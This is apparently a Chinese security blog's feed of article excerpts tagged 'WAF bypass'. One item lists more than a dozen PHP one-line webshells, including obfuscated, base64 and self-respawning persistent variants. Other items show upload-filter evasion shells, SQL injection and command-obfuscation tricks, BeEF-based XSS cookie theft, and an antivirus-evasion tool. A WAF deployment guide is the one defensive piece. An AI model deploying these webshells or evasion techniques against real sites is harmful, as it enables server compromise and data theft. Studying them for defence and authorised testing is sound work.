泷羽Sec-分享网络安全 | 安全产品测评 | 网站建设 - WAF绕过
type: channel
link: https://longyusec.com/tag/waf%E7%BB%95%E8%BF%87/
items: 纵深防御，雷池 + ModSecurity企业级双重 WAF 环境搭建
items: 【2026最新】PHP一句话木马免杀方法
items: 掩日-适用于红队的综合免杀工具
items: HW 中如何利用 WAF 缺陷进行绕过
items: 使用oh-my-posh美化Windows终端
items: 从0-1讲解RCE漏洞绕过，Windows与LinuxRCE漏洞绕过实战解析
items: 1w字带你了解sqlmap，从0到1，WAF绕过，高级用法一文通透
items: 文件上传10种waf绕过姿势
items: Kali下安装与使用BeEF-xss
items: 【WAF剖析】10种XSS某狗waf绕过姿势

纵深防御，雷池 + ModSecurity企业级双重 WAF 环境搭建
type: item
date: 2026-07-15T01:01:33+08:00
description: 对于雷池的文章我还有这几篇，包括常见的https配置、雷池+frp反代，以及其他的试用方法都有https://mp.weixin.qq.com/s/3JLrkymD7d46IaWbQup4wQhttps://mp.weixin.qq.com/s/Nvkx7Qdacmm9wx6OpJbejAhttps://mp.weixin.qq.com/s/VBD12Ttwh8JS1oQLC_4gWAhttps://mp.weixin.qq.com/s/z0NU3V4RASBFoE_cG0js7A本篇文章主要讲解halo和雷池的搭建过程，以及防护流量走向，架构设计等等算上自己上班时间，这篇文章总耗时7天+，自认为是一篇非常不错的文章，建议收藏转发，共5k+字，防止后面找不到了在写这篇文章期间遇到过很多部署问题，不过已经被我小羽全部解决了通过本篇文章可以避免很多问题，帮助您搭建属于自己的防护环境，即使您没有任何WAF搭建的经历，也可以通过本篇文章来学习企业级WAF环境搭建的完整流程完整总体网络拓扑架构互联网流量 │ ▼ ┌─────────────┐ │ WAF-A │ 第一层（外层） │ (如雷池) │ └──────┬──────┘ │ 反代 ▼ ┌─────────────┐ │ WAF-B │ 第二层（内层） │ (如ModSec) │ └──────┬──────┘ │ 反代 ▼ ┌─────────────┐ │ halo │ 真实后端 └─────────────┘若读过我这篇文章的师傅们，2025最新教程，使用雷池搭建内网靶场，进行简单的WAF绕过搭配上本篇文章的教学，完全能搭建出如下架构的企业级防护环境，再牛逼点，自己再配个系统加固的防护应用为什么要采用这样的架构？不同的WAF产品拦截规则、检测的算法一般都是不同的，如果攻击者绕过了第一层WAF，那么第二层就不一定能绕过了，这才是核心价值，非常恶心的是，现实环境中还真有人这么干，层层防护，做系统加固一般这样的架构第一层WAF，用来拦截常见的攻击手法比如漏扫 / CC，第二层针对真实的业务进行定制拦截，两层分贝专注不同的威胁，如果不嫌流量太多，那你可以全开，这样做的好处就是减少日志分析的压力服务器选购阿里云九折优惠：https://link.aitq.net/RcgjvF实惠海外服务器：https://link.aitq.net/RYbx8O通过我的专属优惠链接下单的师傅们，可以添加我v信 bAIbAIxiaoyu2024，享受一对一线上技术服务，若是长沙线下较近的，可线下上门服务雷池WAF配置表参考你的客户类型WAF 推荐配置个人站长 / 小微企业2 核 2G ~ 4 核 4G中小企业4 核 4G ~ 8 核 8G中型互联网公司8 核 8G ~ 16 核 16G集团 / 金融 / 政企16 核 16G+ 集群雷池安装首先更新系统，确保你的软件包和系统源都是最新的，这里我用的是ubuntu 24sudo apt update -y && sudo apt upgrade -y一键安装脚本，新机子默认没有装Docker，雷池会自动帮你装好，无需配置代理和下载源，预计时间3分钟sudo bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/manager.sh)"出现账号密码还有地址信息，就代表安装成功了，注意这里的IP地址可能跟你的服务器公网IP地址不一致需要使用你服务器的公网IP地址+端口来访问，雷池后台默认使用的是ssl协议，如果有需要可以自行配置ssl证书，没有ssl证书就会出现如下界面，我们需要点击高级再点继续访问输入刚刚控制台显示的账号密码到此雷池安装成功，接下来搭建防护站点Halo CMS 服务搭建在开始之前，需要搭建一个站点，作为防守目标，这里我就用 halo 这个博客项目首先创建如下 Docker Compose 文件，Docker-compose.yamlservices: halo: image: registry.fit2cloud.com/halo/halo-pro:2.25 restart: on-fAIlure:3 depends_on: halodb: condition: service_healthy networks: halo_network: volumes: - ./halo2:/root/.halo2 ports: - "8090:8090" healthcheck: test: ["CMD", "curl", "-f", "http://localhost:8090/actuator/health/readiness"] interval: 30s timeout…

【2026最新】PHP一句话木马免杀方法
type: item
date: 2025-12-14T21:47:30+08:00
description: 这里主要收集了一些常用的php一句话木马不同的写法，应对一些对文件内容过滤的场景1、普通一句话木马<?php @eval($_POST['cmd']); ?> 2、如果过滤了eval，可以使用assert绕过<?php @assert($_POST['cmd']); ?> 3、当过滤了eval、assert两个关键字时，可以用字符串拼接的方式。介绍substr_replace()函数<?php $a=substr_replace("assexx","rt",4); @$a($_POST['cmd']); ?> 4、@call_user_func把第一个参数作为回调参数使用<?php @call_user_func(assert,$_POST['cmd']); ?> 5、除了substr_replace()，还有一种字符分割法<?php $a="a"."s"; $b="s"."e"."rt"; $c=$a.$b; $c($_POST['cmd']); ?> 6、给下面给fun1中的变量a赋值assert<?php function fun1($a){ assert($a); } fun1($_POST['cmd']); ?> 7、可以利用函数来构造一句话木马<?php function shyshy($a){ assert($a); } @shyshy($_POST['cmd']); ?> 8、适用于过滤了GET和POST的情况下<?php $a=$_REQUEST['cmd']; $b="\n"; eval($b.=$a); ?> 9、可以构造一个类，利用魔术方法来拼接<?php class shyshy{ public $a=''; function __destruct(){ assert("this->$a"); } } $b=new shyshy(); $b->a=$_POST['cmd']; ?> 10、base64加解密<?php $a=base_decode(YXNzZXJ0); $b=$a(base64_decode($_POST['cmd'])); ?> 11、写入木马<?php if(isset($_POST['filename'])) { $d='data'; $$d=$_POST['text']; //$data $f='fp'; $$f=fopen($_POST['filename'],'wb'); //$fp echo fwrite($fp,$data):"save success":"save fAIl"; fclose($fp); } ?> 12、不死马<?php ignore_user_abort(true); //设置与客户机断开是否会终止脚本的执行，true则不会 set_time_limit(0); //如果为零说明永久执行直到程序结束 unlink(__FILE__); //调用unlink()的时候，文件还是存在的，只是目录里找不到该文件了，但是已经打开这个文件的进程可以正常读写 $file='./.index1.php'; $code='<?php if(md5($_POST["pass"])=="xxxxxxxxxx") //给木马设置密码，防止他人使用 { @eval($_POST["cmd"]); }?>'; while(1){ file_put_contents($file,$code); system('touch -m -d "2018-12-01 9:10:12" .index1.php'); //设置文件的编辑时间 usleep(5000); } ?> 13、还有一种方法<?php function simpleTransform($str, $offset = 1) { $transformed = ''; for ($i = 0; $i < strlen($str); $i++) { $transformed .= chr((ord($str[$i]) + $offset) % 256); } return $transformed; } $original = $_REQUEST["a"]; $transformed = simpleTransform($original, 3); function reverseTransform($str, $offset = 1) { $reversed = ''; for ($i = 0; $i < strlen($str); $i++) { $reversed .= chr((ord($str[$i]) - $offset + 256) % 256); } return $reversed; } $reversed …

掩日-适用于红队的综合免杀工具
type: item
date: 2025-06-29T19:13:47+08:00
description: 开启cs服务器打开cs首先修改配置文件，一个是gcc，一个是go的存储路径界面直接生成的可以直接过电脑管家直接生成的容易被360pass，但是我们使用栅栏密码或者其他选项即可bypass日期6月29更多免杀工具分享，点击下方链接获取 往期推荐通杀国内所有杀软的方法！HW 中如何利用 WAF 缺陷进行绕过Notepad++ v8.8.1 本地提权复现近400个渗透测试常用命令，信息收集、web、内网、隐藏通信、域渗透等等一个永久的渗透知识库

HW 中如何利用 WAF 缺陷进行绕过
type: item
date: 2025-06-28T15:28:25+08:00
description: 在挖洞过程中，往往会遇到各种攻击利用被WAF拦截的情况，本文浅析总结了常见的一些绕过思路以及具体实现浅析WAF绕过在挖洞过程中，往往会遇到各种攻击利用被WAF拦截的情况，本文浅析总结了常见的一些绕过思路以及具体实现利用WAF的缺陷绕过1.1利用WAF性能缺陷-垃圾字符填充对于通用性较强的软WAF来说，不得不考虑到各种机器和系统的性能，故对于一些超大数据包、超长数据可能会跳过不检测因此可以填充大量垃圾字符来逃避WAF对数据包的检测如下1.2利用WAF性能缺陷-发送大量请求包可以采取高并发的攻击手段，WAF同样出于性能考虑可能会直接放行部分数据包。2.利用WAF适配组件的缺陷由于后端web容器、中间件、数据库、脚本语言的多样性，waf很难覆盖全，容易导致waf解析不了而后端可以正常解析读取导致的绕过IIS+asp在IIS+ASP的环境中，如果url中出现了百分号，但后面邻接的字符拼起来后又不在url编码表之内的话，ASP脚本处理时会将其忽略例如假设有如下请求xxx.asp?id=1 union se%lect 1,2,3,4 fro%m adm%inwaf规则不严放行后，后端由于该特性成功处理执行了xxx.asp?id=1 union select 1,2,3,4 from admin导致绕过TOMCATtomcat的特性也可以构造出许多绕过的方式，可以参考https://y4tacker.github.io/2022/06/19/year/2022/6/%E6%8E%A2%E5%AF%BBTomcat%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%B5%81%E9%87%8F%E5%B1%82%E9%9D%A2%E7%BB%95waf%E6%96%B0%E5%A7%BF%E5%8A%BF/这篇文章1.参数前后添加空白字符绕过filename="1.jsp"的filename字符左右可以加上一些空白字符%20 %09 %0a %0b %0c %0d %1c %1d %1e %1f，比如%20filename%0a="1.jsp"这样导致waf匹配不到我们上传⽂件2.utf-16、cp037等各种编码绕过utf-16cp037（原始payload为' and (7=len(db_name())) and 'a' = 'a）json下的unicode编码3.利用waf适配协议的缺陷3.1畸形请求（与Web应用所处的中间件有关，在部分中间件下不适用）将HTTP请求头变为随机字符串例如xxxxT请求方法后加一个table等空字符使用get请求方法但带上post体（需要服务端能正常接受）3.2分块传输仅仅适用于post传输方法分块传输不少waf现在也都可以识别了，可以结合waf性能缺陷的思路综合利用-延时分块传输具体使用可以参考该项目 http://github.com/c0ny1/chunked-coding-converter3.3非预期请求方式get改为post、Content-Type: application/x-www-form-urlencoded改为multipart/form-data等跳过waf直接访问服务器寻找真实ip绕过云waf云waf通过配置NS或者CNAME记录，使得对网站的请求报文优先经过WAF主机，经过WAF主机过滤之后，将被认为无害的请求报文再送给实际的网站服务器进行请求,此时只要找到服务器的真实ip,修改host为服务器真是ip即可绕过云waf常见寻找真实ip的方式有如下几种1.证书信息查询 https://myssl.com/2.dns历史解析记录3.搜集子域名ip c段(考虑到费用问题，一些子域名并不会部署)4.超级ping......寻找没有部署waf的nginx反代机器当waf在nginx服务器上部署，且存在nginx集群时，可以试试尝试寻找能反代服务却又没用部署waf的机器访问进行绕过以下面这个为例，测试某接口发现被拦截搜集ip信息为xxx.xxx.200.1xx查找c段服务，一个个访问尝试利用成功利用waf白名单WAF存在某些机制，不处理和拦截白名单中的请求数据例如特定的ip,来自于搜索引擎爬虫的访问数据等特定ip可以使用https://github.com/TheKingOfDuck/burpFakeIP插件将xff等头部设置为127.0.0.1等进行绕过尝试搜索引擎爬虫的访问数据User-Agent修改为谷歌搜索引擎等原文链接：https://forum.butian.net/share/3639

使用oh-my-posh美化Windows终端
type: item
date: 2025-05-18T18:34:08+08:00
description: 使用oh-my-posh美化Windows终端在正式开始之前我们先更新一下powershell，检查当前版本，为5.1，win11默认都是5.1，需要手动升级，用过7.x后真的不想用这5.x了（超级好用），历史命令补全，智能提示常用命令，岂不美哉？这才是powershell！安装最新版本winget install --id Microsoft.Powershell --source winget下载完成之后切换到这个目录点进去就是powershell 7这时候菜单栏就可以发现一个powershell 7了，建议将注意：如果菜单没有的话，找到powershell 7的绝对安装路径(C:Program FilesPowerShell7pwsh.exe)，执行以下命令set-executionpolicy RemoteSigned $OutputEncoding Test-path $profile New-Item -Type file -Force $PROFILE # powershell初始化加载 PSReadLine 模块 Import-Module PSReadLine # 使用历史记录进行脚本提示 Set-PSReadLineOption -PredictionSource History # alt在Windows中有特殊用途，这里使用ctrl键代替 Set-PSReadLineKeyHandler -Chord "Ctrl+RightArrow" -Function ForwardWord此时我们进去的时候还是powershell 5，Windows 11自带的我们打开终端设置，修改默认的终端为刚刚下载的位置就好这样新建终端的时候就是纯净版powershell 7，还没有广告安装oh my poshpowershell安装Set-ExecutionPolicy Bypass -Scope Process -Force; Invoke-Expression ((New-Object System.Net.WebClient).DownloadString('https://ohmyposh.dev/install.ps1'))重启终端新版终端还有历史命令提示，真的舒服此时就安装成功了在Nerd Font官网挑选一款自己喜欢的字体，记住名字后面要用（我自己选的是Cousine Nerd Font），下载并安装打开终端配置文件"font":{"face": "Cousine Nerd Font"}更改PowerShell安全策略Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope LocalMachine打开配置文件notepad $PROFILE如果配置文件不存在，则根据记事本提示创建新文件，或者以PowerShell命令创建New-Item -Path $PROFILE -Type File -Force在打开的配置文件添加以下代码并保存oh-my-posh init pwsh | Invoke-Expression已经加载默认的主题了显示可用主题Get-PoshThemes记住好自己要切换的主题名称notepad $PROFILE. $PROFILEok了，我换了个壁纸往期推荐【渗透测试】DC-8提权靶机综合渗透教程开箱即用！265种Windows渗透工具合集--灵兔宝盒一款开源持续更新的后渗透免杀框架SQL注入中各种waf的绕过方式，狗，盾，神，锁，宝放开双手 ！SQL注入Fuzzing字典 （270个）

从0-1讲解RCE漏洞绕过，Windows与LinuxRCE漏洞绕过实战解析
type: item
date: 2025-05-18T18:32:25+08:00
description: 从0-1讲解RCE漏洞绕过，Windows与Linux/RCE漏洞绕过方式总结----实战解析前言本文讲解了Windows/Linux的常见命令以及命令执行漏洞的绕过方式，靶场环境为CTFhub，分别有命令注入、cat过滤、空格过滤、过滤目录分隔符、运算符过滤，这几种绕过方式Windows我们在Windows命令行中执行命令的时候，是不区分大小写的C:\>WHOAMI yv\administrator 在命令行中可以有无数个"C:\>wh""""oami yv\administrator C:\>wh""""""""""""""""""""""""""""""oami yv\administrator 不能有两个连续的^C:\>whoa^mi yv\administrator C:\>whoam^^i 'whoam^i' 不是内部或外部命令，也不是可运行的程序 或批处理文件。 C:\>who^a^m^i yv\administrator 在命令中如果 " 在^之前，此时"的数量必须为偶数C:\>who""a^mi yv\administrator C:\>who"a^mi 'who"a^mi' 不是内部或外部命令，也不是可运行的程序 或批处理文件。 在命令中"在^之后，且带有参数，则”也需要带有偶数C:\>n^et" user 'net" user' 不是内部或外部命令，也不是可运行的程序 或批处理文件。 C:\>n^et"" user \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 也可以使用()对命令进行包裹C:\>(whoami) yv\administrator C:\>(n^et"" user) \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 ()的数量不设上限C:\>(((whoami))) yv\administrator 使用变量简单拼接%%局部分开每个变量C:\>set cmd1=who C:\>set cmd2=am C:\>set cmd3=i C:\>%cmd1%%cmd2%%cmd3% yv\administrator 变量拼接方式二C:\>set cmd1=who C:\>set cmd3=i C:\>%cmd1%am%cmd3% yv\administrator 变量拼接方式三C:\>set cmd1=wh"""o C:\>set cmd3=i""" C:\>%cmd1%am%cmd3% yv\administrator 变量拼接方式四 ^C:\>set cmd1=wh""""o # 这里需要偶数，因为在变量拼接结果中有 ^ C:\>set cmd3=i""" # 后面正常多少个 " 都行 C:\>%cmd1%a^m%cmd3% yv\administrator 含有参数的命令，net userC:\>set cmd1=s""er C:\>set cmd2=t u C:\>set cmd3=n^e C:\>%cmd3%%cmd2%%cmd1% \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 一次性执行多条命令C:\>cmd /C "set cmd1=s""ser && set cmd2=t u && set cmd3=n^e && %cmd3%%cmd2%%cmd1%" \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 Windows环境变量切分先设置一个变量C:\>set cmd=whoami C:\>%c…

1w字带你了解sqlmap，从0到1，WAF绕过，高级用法一文通透
type: item
date: 2025-05-18T18:32:24+08:00
description: 喜欢长文吗？1w字带你了解sqlmap，从0到1，WAF绕过，高级用法一文通透前言在信息安全领域，SQL注入攻击是一种极为常见且危害严重的安全漏洞。攻击者利用Web应用程序对SQL查询的不当处理，通过注入恶意SQL代码，从而绕过安全措施，非法访问或篡改数据库中的数据。随着网络安全威胁的日益严峻，了解和掌握SQL注入攻击的检测与防御技术变得尤为重要。sqlmap作为一款开源的自动化SQL注入工具，凭借其强大的功能和易用性，成为了安全研究人员和渗透测试人员不可或缺的利器。它不仅能够帮助用户快速发现Web应用程序中的SQL注入漏洞，还能进一步枚举数据库信息、提取数据，甚至执行操作系统命令，为安全评估提供全面深入的分析报告。本文旨在通过详细介绍sqlmap的基本和高级用法，帮助读者快速上手并掌握这一强大的渗透测试工具。从基本的参数使用到高级的绕过技巧，我们将一步步引导读者深入理解sqlmap的工作原理和应用场景。同时，通过实例演示和技巧分享，帮助读者在实际操作中灵活运用sqlmap，提高渗透测试的效率与成功率。尽管sqlmap支持多种注入技术，但并不能保证能够检测所有类型的SQL注入漏洞。以下是一些sqlmap可能难以检测或无法直接检测到的注入类型： 二次注入（Second-Order SQL Injection）：二次注入发生在应用程序首先接收并存储了恶意输入，然后在稍后的时间点（通常是在另一个请求中）这个存储的输入被未经验证地用于SQL查询。由于恶意输入并不是直接用于触发SQL查询，因此sqlmap可能难以直接检测到这种注入类型，除非它能够在两个请求之间正确地模拟应用程序的行为。 基于DOM的SQL注入：这种注入类型发生在客户端JavaScript代码中，而不是服务器端。sqlmap主要关注服务器端的安全漏洞，因此它无法直接检测基于DOM的SQL注入。这种类型的注入通常需要通过手动分析客户端代码或使用其他客户端安全测试工具来发现。 复杂的WAF/IPS绕过：某些Web应用防火墙（WAF）或入侵防御系统（IPS）可能采用高级的检测和防御机制来阻止sqlmap的自动化攻击。如果WAF/IPS配置得当且更新及时，sqlmap可能无法绕过这些安全措施来检测SQL注入漏洞。在这种情况下，可能需要结合手动测试、定制攻击载荷或使用其他渗透测试工具来绕过WAF/IPS。 基于存储过程的SQL注入：虽然sqlmap支持检测和利用基于存储过程的SQL注入漏洞，但某些复杂的存储过程逻辑可能使得自动化检测变得困难。存储过程可能包含多个SQL语句、条件逻辑和参数处理，这些都可能使得sqlmap难以准确预测和构造有效的注入载荷。 盲注限制：在某些情况下，由于数据库配置或网络延迟等原因，盲注（基于布尔、时间或错误消息的盲注）可能受到严重限制。如果数据库响应非常慢或几乎不提供任何有用的错误信息，那么sqlmap的盲注技术可能无法有效地工作。 非常规SQL方言：虽然sqlmap支持多种数据库系统，但某些非常规或自定义的SQL方言可能不完全兼容。如果目标应用程序使用了一种sqlmap不完全支持的SQL方言，那么可能会影响到sqlmap的检测能力。 在开始之前先上表（方便以后查表），或者截图保存好，基础使用详细的之后描述sqlmap参数表基本的sqlmap参数Options: -h, --help Show basic help message and exit -hh 显示高级帮助消息并退出 --version 显示程序的版本号并退出 -v VERBOSE 详细级别：0-6(默认为 1) Target: At least one of these options has to be provided to define the target(s) -u URL, --url=URL 目标URL (e.g. "http://www.site.com/vuln.php?id=1") -g GOOGLEDORK 将Google dork结果处理为目标URL 请求: 这些选项可用于指定如何连接到目标URL --data=DATA 要通过POST发送的数据字符串(例如"id=1") --cookie=COOKIE HTTP Cookie头部的值(例如"PHPSESSID=a8d127e..") --random-agent 使用随机选择的HTTP User-Agent头部值 --proxy=PROXY 使用代理连接到目标URL --tor 使用Tor匿名网络 --check-tor 检查Tor是否正确使用 注入: 这些选项可用于指定要测试的参数,提供自定义的注入载荷和可选的篡改脚本 -p TESTPARAMETER 可测试的参数 --dbms=DBMS 强制指定后端DBMS的…

文件上传10种waf绕过姿势
type: item
date: 2025-05-18T18:32:24+08:00
description: 基础篇：https://mp.weixin.qq.com/s/od0djMG4iwO755N2YgDAHg环境搭建首先去官网下载安全狗，进行网站配置，或者后台回复【安全狗】，靶场源码和WAF软件都准备好了，都是最新版本的，直接下载就行安全狗配置文件防护规则这里用upload-labs中的第六关进行文件上传测试第六关是在文件后缀添加一个空格就可以上传成功WAF环境已搭好WAF绕过基于文件名称的绕过%00截断首先上传一个php文件，抓包文件后面添加;.jpg将;的hex编码替换为00，造成00截断，如下效果知识扩展%00截断是一种在文件上传或URL处理过程中常见的安全绕过技术，它利用了某些编程语言或系统在处理字符串时的一个特性：即当遇到空字符（null character，ASCII码为0，即�或%00在URL编码中）时，会认为字符串已经结束，从而忽略了空字符之后的所有内容。可以看到，虽然绕过了WAF还是有代码红色警告没有上传成功，这个时候我们就可以在原来有代码漏洞的情况下，进行绕过，原来代码存在空格绕过，这里我们就用空格进行绕过，添加一个空格上传成功，点击查看源码，就可以看到文件上传的位置（这个图片的位置）多个等号这个操作就更简单了，直接在文件名的位置把一个等于换成多个等于，也能绕过WAF，此时再在末尾加空格，直接成功上传，如下哈哈，没有成功，原文是这样写的，可能已经修复了基于内容拦截绕过此时我们访问，这个php文件被拦截了，这就是基于内容的拦截，像经常使用的一句话木马都会被安全狗绕过[1].畸形传参木马这里要用到hackerbox谷歌插件或者使用火狐浏览器，默认下载不是破解的，我准备好了破解版本，后台私信【hackbox】即可<?php $a = $_GET['x']; $$a = $_GET['y']; $b($_POST['z']);//调用 $b 变量所引用的函数，并将 $_POST['z'] 的值作为参数传递给它。 ?>我们所使用的一句话木马是市面上最为常见的类型，因此几乎所有的WAF（Web应用防火墙）都能识别并拦截这段内容。这正是导致我们上传后无法访问的根本原因。为了验证这一点，你可以尝试开启安全狗的木马扫描功能，看看它是否能被检测出来，从而判断其是否具备免杀能力。上图可以看到并没有检测到，用get方式传如参数x和y，值分别为b和assert ，再用POST方式传如参数z，值为自己想执行的命令[2].经典编码木马通过assert函数的base64编码后的拼接即可绕过，如下：<?php $e=base64_decode("hellow小羽网安"); $e($_POST['aa']); ?>免杀情况我们将中文放在了后面，此时出现拦截我放在前面试试，还是拦截穿插进去，就可以了，不知道是什么原理，php特性、base64编码检测，还是安全狗防护机制，有大佬路过指教一下，谢谢你执行成功上面的绕过方式不可避免都有一些问题，那就是传参时使用了敏感关键字，比如phpinfo()之类的，有一些防火墙就会检测传入的参数是否含有敏感内容(例如宝塔)，那这时候我们怎么办呢？我们可以把传参使用的敏感关键字变成其他编码格式，比如base64，再在一句话木马中对传入的参数先做一个解码操作，如下在木马中添加解码操作<?php $e=base64_decode("YX小羽网安NzZ公众号XJ0"); $e(base64_decode($_POST['aa'])); ?>这个时候我们就可以将phpinfo拿去base64进行加密这个时候就可以执行php代码了，绕过了关键字的检测其他失败案例参考复写失败脏数据绕过失败修改为单引号失败去掉双引号失败.php放到引号的外面上传成功，但是并没有这个php文件查看上传之后的文件，并不是php文件那不加后缀试试，显示文件内容，并没有执行所以使用蚁剑也连接不了数据截断绕过-防匹配(; / 换行)失败参数多次失败总结本教程通过实际搭建环境，展示了文件上传中WAF的多种绕过技巧，包括%00截断、畸形传参木马、经典编码木马等。尽管部分绕过方法因WAF更新而失效，但实验过程揭示了安全机制与绕过技术的博弈。通过不断尝试与创新，攻击者总能找到新的突破点，而防御方则需持续更新策略以应对新威胁。这强调了持续安全监测与加固的重要性。网安学习不迷路，欢迎各位大佬加入讨论

Kali下安装与使用BeEF-xss
type: item
date: 2025-05-18T18:32:24+08:00
description: 早八人，护网在即，该学习了~前言BEEFXSS（Browser Exploitation Framework XSS），更常见的称呼是BeEF（The Browser Exploitation Framework），是一个开源的浏览器漏洞利用框架。它由Michał Zalewski于2006年创建，旨在帮助渗透测试人员评估Web浏览器的安全性，发现并利用其中的漏洞。XSS基础篇：https://mp.weixin.qq.com/s/RJcOZuscU07BEPgK89LSrQXSSWAF绕过篇：https://mp.weixin.qq.com/s/P2AX2ebnzaCw-NoNwLwIRA工具使用更新源apt-get update 安装apt-get install beef-XSS 输入账号密码，本身默认的密码和账号分别为 beef 和 beef启动beef-XSS得到js文件攻击载荷即XSS的js脚本地址，链接为你的IP地址+端口下的js访问面板 http://:3000/ui/panl账号：beef， 密码：是你在上面输入的密码（这里我输入的是：root）存储型XSS利用，当然也可以使用其他具有XSS漏洞的平台，比如XSSlabs使用script标签链接你攻击机器的脚本地址，提交即可好，找到一个具有xss漏洞的界面，执行script这里已成功上限log日志，获取浏览器的基本信息，当前在哪个页面，是否聚焦，鼠标在那个位置等等获取cookie选中靶机，在Command面板找到GetCookie命令并执行，比如获取cookie，这里直接获取到了cookie信息配合钓鱼重定向，即你访问具有存储型XSS的界面的时候，他会自动跳转到你预设的链接（钓鱼）地址引导下载当然也可以将跳转的链接转化为图片，比如使用img标签，链接到这个图片如果payload过长输入不了就可以使用短链、短链生成一些好玩的命令命今颜色(Color):绿色对目标主机生效并且不可见(不会被发现)橙色对目标主机生效但可能可见(可能被发现)灰色对目标主机来未必生效(可验证下)红色对目标主机不生效beef-xss主要模块Browser：此模块主要针对浏览器进行信息收集或攻击。其子选项卡“Hooked Domain”能够获取HTTP属性值，如cookie、表单值等，并执行简单的浏览器操作，例如替换href值、弹出警告框、重定向浏览器等。部分模块会根据受害者的浏览器类型来决定是否显示，主要涉及浏览器通用操作和其他基本信息检测。Chrome Extensions：此模块专门针对谷歌浏览器的扩展插件进行信息收集或攻击。Debug：提供调试功能，用于测试和修复Beef框架中的问题。Exploits：此模块利用已公开的漏洞进行攻击测试，帮助用户了解系统或应用的安全性。Host：针对主机进行信息收集，如检测主机的浏览器、系统信息、IP地址、安装软件等。IPEC：负责协议间通信，主要用于连接和控制受害者的浏览器。Metasploit：Beef可与Metasploit平台联合配置，一旦有受害者出现，可通过信息收集确定是否存在漏洞，进一步方便进行Metasploit攻击测试。Misc：包含一些杂项功能，提供额外的工具和选项。Network：进行网络扫描，帮助用户了解网络环境和潜在的安全风险。Persistence：维护受害者访问，确保长时间对受害者进行监控和控制。Phonegap：针对手机设备进行测试，帮助用户了解移动设备的安全性。Social Engineering：利用社会工程学方法进行攻击，通过诱导、欺骗等手段获取受害者的敏感信息或执行恶意操作。听说护网很激烈啊ოර⌄රო ~~~~

【WAF剖析】10种XSS某狗waf绕过姿势
type: item
date: 2025-05-18T18:32:24+08:00
description: XSS 基础：Web安全中的XSS攻击详细教学，XSS-Labs靶场通关全教程（建议收藏）（一）、Web安全中的XSS攻击详细教学（二）--已完结如果懒得找靶场和安全狗防火墙后台回复【靶场】即可获取image-20240722161008610复现网站安全狗最新 v4.0 已经准备好image-20240722104320515这里用 XSSlab 进行 WAF 绕过测试image-20240722102257861还是一样安全狗 WAF 测试http://192.168.209.149/level1.php?name= image-20240722102220534基础 payloadphp<?phpecho " ";?>img css formXSS利用方式1 XSS利用方式2 input iframe 经过测试以上内容皆执行不了，但是还有一个svg没测试svg！成功了一个，看来 v4.0 的安全狗没有对 svg 进行防护，payload 如下 image-20240722103703228常见的 WAF 绕过 payload1.大小写绕过 image-202407221300440002、双写绕过image-202407221309172023、imgimage-202407221309530464、onmouseover 事件当用户鼠标移动时即可运行代码 image-20240722131108228当用户鼠标在这个块上面时即可运行（可以配合 weight 等参数将 div 覆盖页面，鼠标不划过都不行）image-202407221313538565、onclick 事件buttonimage-202407221317099956、onload 事件例如 之前已经测试过了，svg 的 onoad 事件可以7、编码脚本绕过关键字image-202407221322232148、主动闭合标签实现注入代码image-202407221341403009、绕过 HTML 注释符image-2024072213461653010、利用换行符绕过image-2024072213474591411、绕过右标签image-2024072213480705012、绕过</内容>image-20240722134857902字典爆破image-20240722135712030这个时候直接一个一个去访问即可image-20240722141703806这里我们找到一个 iframe 的 payload，尝试访问，成功加载，但是看源码，标签没有闭合image-20240722141540870我们在 url 中闭合这个标签，就可以了image-20240722141917556绕过思路一、更改提交方式在默认配置下，为了节省资源，许多 WAF 只会对 GET 请求进行过滤拦截，而忽略了对 POST 请求、Cookie、HTTP Header 等其他提交方式的检测。因此，攻击者可以尝试更改有害语句的提交方式，如将 GET 请求修改为 POST 请求，或者通过 Cookie、HTTP Header 等方式提交恶意脚本，以绕过 WAF 的拦截。二、混淆伪装绕过混淆伪装是一种常见的绕过 WAF 的手段，攻击者通过编码、大小写混淆、双写、转义字符等方式对恶意脚本进行伪装，使其绕过 WAF 的关键词过滤规则。例如，将 JavaScript 代码中的关键字进行大小写混淆（如三、标签和事件函数变换XSS 攻击主要是通过触发 HTML 标签中的事件函数来执行恶意脚本。因此，WAF 会重点识别能够触发事件函数的 HTML 标签和事件函数字段。攻击者可以尝试使用其他可以执行 JavaScript 代码的 HTML 标签（如 , , 等）替换常用的四、利用 WAF 的缺陷和配置不当「增加 WAF 负担」：有些 WAF 在处理大量数据时可能会降低检测精度或放弃检测部分数据包。攻击者可以通过向 WAF 发送大量正常数据包并夹杂异常数据包的方式，增加 WAF 的负担，从而绕过 WAF 的检测。「利用 WAF 配置不当」：WAF 的配置可能存在漏洞或不当之处，如只检测部分参数、忽略某些类型的请求等。攻击者可以通过分析 WAF 的配置规则，构造绕过 WAF 检测的请求。「旁站绕过」：在某些情况下，网站管理员可能只对主站进行了 WAF 防护，而忽略了旁站或子域名的防护。攻击者可以尝试通过旁站或子域名绕过 WAF 的防护。五、使用自动化工具自动化工具如XSStrike 等可以帮助攻击者自动测试 WAF 的防护效果，并生成绕过 WAF 的 payload。这些工具通常包含多种绕过 WAF 的技巧和策略，可以显著提高攻击的成功率。❝XSStrike 开源地址：https://gith…